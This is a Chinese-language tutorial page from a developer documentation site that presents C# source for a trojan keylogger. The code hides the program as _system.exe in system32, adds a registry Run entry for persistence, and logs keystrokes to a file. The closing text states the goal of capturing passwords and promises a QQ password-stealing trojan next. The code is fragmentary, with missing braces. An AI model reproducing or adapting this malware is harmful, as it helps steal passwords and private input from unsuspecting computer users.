★搜Asp.net★(www.soAsp.net),为专业技术文档网站。
包括Asp.net开发技术文档·C#开发技术文档·Access/SQL Server数据库开发技术文档·VB.NET开发技术文档。
还包括·项目实战经验总结·开发经验技巧总结·项目开发心得。
C#实现木马-键盘记录器
RegistryReport和 Report类

这是RegistryReport 类的实现
public void MoveFile() 

     
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 

     if(!File.Exists("c:\\windows\\system32\\_system.exe")) 
     

              File.Move(Application.ExecutablePath,
"c:\\windows\\system32\\_system.exe"
); 
     }
 
     
else
 
          
return

}
 

//在注册表里写如启动信息 




public void registryRun() 
{    
     RegistryKey key1
=Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run"
); 
     key1.SetValue(
"","c:\\windows\\system32\\_system.exe"
); 
     key1.Close(); 
}
 


这是Report类的实现:
public void FirstWrite() 
         

              StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true
); 
              sw.WriteLine(
"************* LittleStudio Studio ************* "
); 
              sw.WriteLine(
"******** " + DateTime.Today.Year.ToString() + "."
 
                   
+ DateTime.Today.Month.ToString() + "."
 
                   
+ DateTime.Today.Day.ToString() + "     "
 
                   
+ DateTime.Now.Hour.ToString() + ":"
 
                   
+ DateTime.Now.Minute.ToString() + ":"
 
                   
+ DateTime.Now.Second.ToString() + " ********"
); 
              sw.Close(); 
         }
 

         
public void WriteDate(string keyEvents,string
 keyDate) 
         

              
try
 
              

                     StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true
); 
                     sw.WriteLine(keyDate 
+ "键 " + keyEvents + "   "
 
                       
+ DateTime.Now.Hour.ToString() + ":"
 
                       
+ DateTime.Now.Minute.ToString() + ":"
 
                       
+
 DateTime.Now.Second.ToString()); 
                   sw.Close(); 
              }
 
              
catch{}
 
              
return

         }
 
 

这样一个木马就写完了.用这种方式来获取密码不好,他把所有的键盘消息都记录下来了,给我们对密码的分析造成了很大的问题,而且.net中使用HOOK只能使用全局钩子,如果对单个应用程序的挂钩就不行了,在这方面用VC就好多,但是我们也可以通过其他方式来获取指定应用程序(如QQ)的消息,而且可以单单对某个控件(如密码框)的挂钩,最近忙死了,我想过段时间把QQ木马的.net实现写上了,